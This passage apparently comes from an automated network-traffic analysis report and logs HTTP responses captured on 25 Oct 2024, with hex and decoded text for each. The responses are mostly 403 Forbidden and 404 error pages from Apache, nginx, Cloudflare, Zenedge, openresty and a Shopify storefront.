23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:38 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:38 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:18:39 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenCache-Control: no-cache, must-revalidateContent-Length: 2059Content-Type: text/html; charset=UTF-8Date: Fri, 25 Oct 2024 09:18:39 UTCExpires: Thu, 01 Jan 1970 00:00:00 UTCPragma: no-cacheServer: SquarespaceX-Contextid: CmvJTIwt/i6buvRRwData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 34 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:39 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:40 GMTServer: Apache/2Content-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Date: Fri, 25 Oct 2024 09:18:40 GMTHost: 127.0.0.1:8086Server: nginx/1.21.6X-Powered-By: PbootCMSX-Ua-Compatible: IE=edge,chrome=1Transfer-Encoding: chunked
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=ac6ad3b2-8b97-42fe-80e5-7b5ed307040f; path=/; expires=Fri, 25 Oct 2024 09:48:40 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:18:41 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:18:41 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:18:41 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=e9eb636e-e68c-4fb3-9243-c4ff85365f5a; Expires=Fri, 25-Oct-24 09:48:41 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 25 Oct 2024 09:18:42 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: keep-aliveX-Frame-Options: SAMEORIGINReferrer-Policy: same-originCache-Control: max-age=15Expires: Fri, 25 Oct 2024 09:18:57 GMTReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RgMsZ9AVoK3Nz0%2FLcGewbZUFrwYweNffH4aCds3psmNLIZuB61mgzOMRq2JDepfEelcOtkwwSbaQbTuVF6b%2FUzCCvAole0kuN53KyGc3tdehNU9rwasMDVphTPSAlCf%2F"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8d811eeafc6a6c20-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1896&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=820&delivery_rate=0&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 31 31 61 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 67 74 20 49 45 20 38 5d 3e 3c 21 2d 2d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 74 74 65 6e 74 69 6f 6e 20 52 65 71 75 69 72 65 64 21 20 7c 20 43 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 Data Ascii: 11a1<!DOCTYPE html><!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]--><!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]--><!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]--><!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]--><head><title>Attention Required! \| Cloudflare</title><me
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/htmlTransfer-Encoding: chunkedConnection: keep-aliveServer: ZENEDGEX-Zen-Fury: 46ab973aea3244feb6c116fe4a1cb1ebb0ab3bbcX-Cache-Status: Cache-Control: no-storeCache-Control: no-cache, no-store, must-revalidateCache-Control: max-age=0Date: Fri, 25 Oct 2024 09:18:42 GMTData Raw: 32 61 61 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 20 69 66 20 28 74 79 70 65 6f 66 28 5f 5f 5f 7a 65 6e 29 20 3d 3d 3d 20 22 75 6e 64 65 66 69 6e 65 64 22 29 20 7b 73 65 74 54 69 6d 65 6f 75 74 28 61 72 67 75 6d 65 6e 74 73 2e 63 61 6c 6c 65 65 2c 20 35 30 29 3b 20 72 65 74 75 72 6e 3b 20 7d 5f 5f 5f 7a 65 6e 2e 68 69 63 28 22 5f 5f 5a 45 48 49 43 31 37 38 30 22 2c 20 31 37 32 39 38 34 37 39 32 32 2c 20 31 2c 20 30 2c 20 36 30 29 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 68 69 63 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 64 69 76 3e 3c 68 31 3e 34 30 33 3c 2f 68 31 3e 3c 2f 64 69 76 3e 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 3d 22 61 73 79 6e 63 22 20 73 72 63 3d 22 2f 5f 5f 7a 65 6e 65 64 67 65 2f 61 73 73 65 74 73 2f 66 2e 6a 73 3f 76 3d 31 36 37 34 32 30 37 34 32 32 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 76 61 72 20 76 20 3d 20 31 37 32 39 38 34 37 38 36 32 20 2a 20 33 2e 31 34 31 35 39 32 36 35 33 35 38 39 38 3b 20 76 20 3d 20 4d 61 74 68 2e 66 6c 6f 6f 72 28 76 29 3b 20 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 5f 5f 7a 6a 63 32 30 30 33 3d 22 2b 76 2b 22 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 32 35 20 4f 63 74 20 32 30 32 34 20 30 39 3a 32 30 3a 34 32 20 55 54 43 3b 20 70 61 74 68 3d 2f 22 3b 20 7d 29 28 29 3c 2f 73 63 72 69 70 74 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: 2aa<html><head><title>403 Forbidden</title><script type="text/javascript">(function(){ if (typeof(___zen) === "undefined") {setTimeout(arguments.callee, 50); return; }___zen.hic("__ZEHIC1780", 1729847922, 1, 0, 60); })()</script><script type="text/javascript" async="async" src="/__zenedge/assets/hic.js?v=1674207422"></script></head><body><center><div><h1>403</h1></div><h1>Forbidden</h1></center><script type="text/javascript" async="async" src="/__zenedge/assets/f.js?v=1674207422"></script><script>(function () { var v = 1729847862 * 3.1415926535898; v = Math.floor(v); do
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 25 Oct 2024 09:18:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: keep-alivex-sorting-hat-podid: 376x-sorting-hat-shopid: 61843439788x-storefront-renderer-rendered: 1vary: Accept-Encoding,Acceptset-cookie: keep_alive=435b04bd-853c-4fea-9a3f-b9f7025f88c2; path=/; expires=Fri, 25 Oct 2024 09:48:42 GMT; HttpOnly; SameSite=Laxset-cookie: cart_currency=GBP; path=/; expires=Fri, 08 Nov 2024 09:18:42 GMT; SameSite=Laxset-cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; domain=snugpak.com; path=/; expires=Sat, 26 Oct 2024 09:18:42 GMT; SameSite=Laxset-cookie: _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; Expires=Sat, 25-Oct-25 09:18:42 GMT; Domain=snugpak.com; Path=/; SameSite=Laxset-cookie: _shopify_s=e9eb636e-e68c-4fb3-9243-c4ff85365f5a; Expires=Fri, 25-Oct-24 09:48:42 GMT; Domain=snugpak.com; Path=/; SameSite=Laxcache-control: no-cache, no-storex-shopify-nginx-no-cookies: 0link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossorigin, <https://cdn.sData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginxDate: Fri, 25 Oct 2024 09:18:42 GMTContent-Type: text/htmlContent-Length: 2843Connection: keep-aliveVary: Accept-EncodingLast-Modified: Thu, 26 Jul 2018 17:13:08 GMTETag: "b1b-571ea1be9f445"Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 45 55 43 2d 4a 50 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 58 53 45 52 56 45 52 20 49 6e 63 2e 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 4e 44 45 58 2c 46 4f 4c 4c 4f 57 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 2a 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 69 6d 67 20 7b 0a 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 7d 0a 75 6c 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 32 65 6d 3b 0a 7d 0a 68 74 6d 6c 20 7b 0a 20 20 20 20 6f 76 65 72 66 6c 6f 77 2d 79 3a 20 73 63 72 6f 6c 6c 3b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 62 37 39 62 37 3b 0a 7d 0a 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 a5 e1 a5 a4 a5 ea a5 aa 22 2c 20 4d 65 69 72 79 6f 2c 20 22 a3 cd a3 d3 20 a3 d0 a5 b4 a5 b7 a5 c3 a5 af 22 2c 20 22 4d 53 20 50 47 6f 74 68 69 63 22 2c 20 22 a5 d2 a5 e9 a5 ae a5 ce b3 d1 a5 b4 20 50 72 6f 20 57 33 22 2c 20 22 48 69 72 61 67 69 6e 6f 20 4b 61 6b 75 20 47 6f 74 68 69 63 20 50 72 6f 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 37 35 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 77 68 69 74 65 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 7d 0a 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 32 30 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 68 32 20 7b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: openrestyDate: Fri, 25 Oct 2024 09:18:43 GMTContent-Type: text/htmlContent-Length: 552Connection: keep-aliveVary: Accept-EncodingData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 